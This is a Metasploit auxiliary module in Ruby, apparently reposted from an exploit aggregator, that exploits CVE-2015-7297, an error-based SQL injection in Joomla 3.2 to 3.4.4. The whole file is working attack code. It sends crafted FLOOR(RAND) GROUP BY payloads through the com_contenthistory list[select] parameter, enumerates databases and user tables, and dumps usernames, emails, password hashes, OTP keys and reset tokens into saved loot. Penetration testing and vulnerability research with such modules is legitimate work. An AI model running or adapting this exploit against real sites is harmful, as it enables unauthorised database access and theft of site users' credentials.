Share
## https://sploitus.com/exploit?id=PACKETSTORM:180700
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Joomla com_contenthistory Error-Based SQL Injection',  
'Description' => %q{  
This module exploits a SQL injection vulnerability in Joomla versions 3.2  
through 3.4.4 in order to either enumerate usernames and password hashes.  
},  
'References' =>  
[  
['CVE', '2015-7297'],  
['URL', 'https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/joomla-sql-injection-vulnerability-exploit-results-in-full-administrative-access/']  
],  
'Author' =>  
[  
'Asaf Orpani', # discovery  
'bperry', # metasploit module  
'Nixawk' # module review  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2015-10-22'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/'])  
])  
end  
  
def check  
flag = Rex::Text.rand_text_alpha(8)  
lmark = Rex::Text.rand_text_alpha(5)  
rmark = Rex::Text.rand_text_alpha(5)  
  
payload = 'AND (SELECT 8146 FROM(SELECT COUNT(*),CONCAT('  
payload << "0x#{lmark.unpack('H*')[0]},"  
payload << "(SELECT 0x#{flag.unpack('H*')[0]}),"  
payload << "0x#{rmark.unpack('H*')[0]},"  
payload << 'FLOOR(RAND(0)*2)'  
payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'  
  
res = sqli(payload)  
  
if res && res.code == 500 && res.body =~ /#{lmark}#{flag}#{rmark}/  
Msf::Exploit::CheckCode::Vulnerable  
else  
Msf::Exploit::CheckCode::Safe  
end  
end  
  
def request(query, payload, lmark, rmark)  
query = "#{payload}" % query  
res = sqli(query)  
  
# Error based SQL Injection  
if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/  
$1  
end  
end  
  
def query_databases(payload, lmark, rmark)  
dbs = []  
  
query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) '  
query << 'FROM INFORMATION_SCHEMA.SCHEMATA)'  
  
dbc = request(query, payload, lmark, rmark)  
  
query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) '  
query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)'  
  
0.upto(dbc.to_i - 1) do |i|  
dbname = request(query_fmt % i, payload, lmark, rmark)  
dbs << dbname  
vprint_good(dbname)  
end  
  
%w(performance_schema information_schema mysql).each do |dbname|  
dbs.delete(dbname) if dbs.include?(dbname)  
end  
  
dbs  
end  
  
def query_tables(database, payload, lmark, rmark)  
tbs = []  
  
query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) '  
query << 'FROM INFORMATION_SCHEMA.TABLES '  
query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))"  
  
tbc = request(query, payload, lmark, rmark)  
  
query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) '  
query_fmt << 'FROM INFORMATION_SCHEMA.TABLES '  
query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) "  
query_fmt << 'LIMIT %d,1)'  
  
vprint_status('tables in database: %s' % database)  
0.upto(tbc.to_i - 1) do |i|  
tbname = request(query_fmt % i, payload, lmark, rmark)  
vprint_good(tbname)  
tbs << tbname if tbname =~ /_users$/  
end  
  
tbs  
end  
  
def query_columns(database, table, payload, lmark, rmark)  
cols = []  
query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"  
  
colc = request(query, payload, lmark, rmark)  
vprint_status(colc)  
  
valid_cols = [ # joomla_users  
'activation',  
'block',  
'email',  
'id',  
'lastResetTime',  
'lastvisitDate',  
'name',  
'otep',  
'otpKey',  
'params',  
'password',  
'registerDate',  
'requireReset',  
'resetCount',  
'sendEmail',  
'username'  
]  
  
query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) '  
query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)"  
  
0.upto(colc.to_i - 1) do |i|  
record = {}  
valid_cols.each do |col|  
l = 1  
record[col] = ''  
loop do  
value = request(query_fmt % [col, l, i], payload, lmark, rmark)  
break if value.blank?  
record[col] << value  
l += 54  
end  
end  
cols << record  
vprint_status(record.to_s)  
end  
  
cols  
end  
  
def run  
lmark = Rex::Text.rand_text_alpha(5)  
rmark = Rex::Text.rand_text_alpha(5)  
  
payload = 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT('  
payload << "0x#{lmark.unpack('H*')[0]},"  
payload << '%s,'  
payload << "0x#{rmark.unpack('H*')[0]},"  
payload << 'FLOOR(RAND(0)*2)'  
payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'  
  
dbs = query_databases(payload, lmark, rmark)  
dbs.each do |db|  
tables = query_tables(db, payload, lmark, rmark)  
tables.each do |table|  
cols = query_columns(db, table, payload, lmark, rmark)  
next if cols.blank?  
path = store_loot(  
'joomla.users',  
'text/plain',  
datastore['RHOST'],  
cols.to_json,  
'joomla.users')  
print_good('Saved file to: ' + path)  
end  
end  
end  
  
def sqli(payload)  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'vars_get' => {  
'option' => 'com_contenthistory',  
'view' => 'history',  
'list[ordering]' => '',  
'item_id' => 1,  
'type_id' => 1,  
'list[select]' => '1 ' + payload  
}  
)  
end  
end